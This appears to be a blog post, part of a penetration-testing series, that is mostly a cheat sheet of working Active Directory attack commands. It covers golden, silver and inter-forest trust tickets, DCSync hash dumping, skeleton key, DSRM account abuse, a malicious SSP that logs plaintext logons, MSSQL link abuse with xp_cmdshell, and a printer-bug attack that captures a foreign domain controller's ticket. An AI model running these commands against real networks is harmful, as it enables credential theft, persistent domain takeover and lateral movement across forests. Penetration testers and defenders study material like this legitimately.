Pentesting Active Directory - Part 6 | domain persistence and cross forest attacks

hacklido.com/blog/867-pentesting-active-directory-part-6-domain-persistence-and-cross-forest-attacks

- 15 days ago

Let’s learn about domain persistence and cross forest attacks

Domain Persistence

Golden Ticket Attack

```
#Execute mimikatz on DC as DA to grab krbtgt hash:
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <DC'sName>

#On any machine:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:
<DomainName> /sid:<Domain's SID> /krbtgt:
<HashOfkrbtgtAccount>   id:500 /groups:512 /startoffset:0 /endin:600
/renewmax:10080 /ptt"'
```

DCsync Attack

```
#DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges):
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DomainName>\<AnyDomainUser>"'

#DCsync using secretsdump.py from impacket with NTLM authentication
secretsdump.py <Domain>/<Username>:<Password>@<DC'S IP or FQDN> -just-dc-ntlm

#DCsync using secretsdump.py from impacket with Kerberos Authentication
secretsdump.py -no-pass -k <Domain>/<Username>@<DC'S IP or FQDN> -just-dc-ntlm
```

Tip: \
/ptt -> inject ticket on current running session \
/ticket -> save the ticket on the system for later use

Silver Ticket Attack

```
Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<TheTargetMachine> /service:
<ServiceType> /rc4:<TheSPN's Account NTLM Hash> /user:<UserToImpersonate> /ptt"'
```

SPN List

Skeleton Key Attack

```
#Exploitation Command runned as DA:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DC's FQDN>

#Access using the password "mimikatz"
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator
```

DSRM Abuse

WUT IS DIS?: Every DC has a local Administrator account, this accounts has the DSRM password which is a SafeBackupPassword. We can get this and then pth its NTLM hash to get local Administrator access to DC!

```
#Dump DSRM password (needs DA privs):
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <DC's
Name>

#This is a local account, so we can PTH and authenticate!
#BUT we need to alter the behaviour of the DSRM account before pth:
#Connect on DC:
Enter-PSSession -ComputerName <DC's Name>

#Alter the Logon behaviour on registry:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name
"DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose

#If the property already exists:
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name
"DsrmAdminLogonBehaviour" -Value 2 -Verbose
```

Then just PTH to get local admin access on DC!

Custom SSP

WUT IS DIS?: We can set our on SSP by dropping a custom dll, for example mimilib.dll from mimikatz, that will monitor and capture plaintext passwords from users that logged on!

From powershell:

```
#Get current Security Package:
$packages = Get-ItemProperty
"HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' |
select -ExpandProperty  'Security Packages'

#Append mimilib:
$packages += "mimilib"

#Change the new packages name
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name
'Security Packages' -Value $packages
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name 'Security
Packages' -Value $packages

#ALTERNATIVE:
Invoke-Mimikatz -Command '"misc::memssp"'
```

Now all logons on the DC are logged to -> C:\Windows\System32\kiwissp.log

Cross Forest Attacks

Trust Tickets

WUT IS DIS ?: If we have Domain Admin rights on a Domain that has Bidirectional Trust relationship with an other forest we can get the Trust key and forge our own inter-realm TGT.

:warning: The access we will have will be limited to what our DA account is configured to have on the other Forest!

- Using Mimikatz:

  ```
    #Dump the trust key
    Invoke-Mimikatz -Command '"lsadump::trust /patch"'
    Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

    #Forge an inter-realm TGT using the Golden Ticket attack
    Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:
  <OurDomain> /sid:
    <OurDomainSID> /rc4:<TrustKey> /service:krbtgt /target:<TheTargetDomain>
  /ticket:
    <PathToSaveTheGoldenTicket>"'
  ```

  :exclamation: Tickets -> .kirbi format

  Then Ask for a TGS to the external Forest for any service using the inter-realm TGT and access the resource!

- Using Rubeus:

  ```
    .\Rubeus.exe asktgs /ticket:<kirbi file> /service:"Service's SPN" /ptt
  ```

Abuse MSSQL Servers

- Enumerate MSSQL Instances: `Get-SQLInstanceDomain`
- Check Accessibility as current user:

  ```
  Get-SQLConnectionTestThreaded
  Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
  ```

- Gather Information about the instance: `Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose`
- Abusing SQL Database Links: \
  WUT IS DIS?: A database link allows a SQL Server to access other resources like other SQL Server. If we have two linked SQL Servers we can execute stored procedures in them. Database links also works across Forest Trust!

Check for existing Database Links:

```
#Check for existing Database Links:
#PowerUpSQL:
Get-SQLServerLink -Instance <SPN> -Verbose

#MSSQL Query:
select * from master..sysservers
```

Then we can use queries to enumerate other links from the linked Database:

```
#Manualy:
select * from openquery("LinkedDatabase", 'select * from master..sysservers')

#PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests):
Get-SQLServerLinkCrawl -Instance <SPN> -Verbose

#Then we can execute command on the machine's were the SQL Service runs using
xp_cmdshell
#Or if it is disabled enable it:
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN"
```

Query execution:

```
Get-SQLServerLinkCrawl -Instace <SPN> -Query "exec master..xp_cmdshell 'whoami'"
```

Breaking Forest Trusts

*WUT IS DIS?: \
TL;DR \
If we have a bidirectional trust with an external forest and we manage to compromise a machine on the local forest that has enabled unconstrained delegation (DCs have this by*

default), we can use the printerbug to force the DC of the external forest's root domain to authenticate to us. Then we can capture it's TGT, inject it into memory and DCsync to dump it's hashes, giving ous complete access over the whole forest.

Tools we are going to use:

- Rubeus
- SpoolSample
- Mimikatz

Exploitation example:

```
#Start monitoring for TGTs with rubeus:
Rubeus.exe monitor /interval:5 /filteruser:target-dc$

#Execute the printerbug to trigger the force authentication of the target DC to
our machine
SpoolSample.exe target-dc$.external.forest.local dc.compromised.domain.local

#Get the base64 captured TGT from Rubeus and inject it into memory:
Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket>

#Dump the hashes of the target domain using mimikatz:
lsadump::dcsync /domain:external.forest.local /all
```

Detailed Articles:

Home for infosec writers and readers.

Create your account today and explore more content on this platform. You can also start blogging and be inspiration for others 😎

admiralarjun changed the title to **Pentesting Active Directory - Part 6 | domain persistence and cross forest attacks** 13 days ago.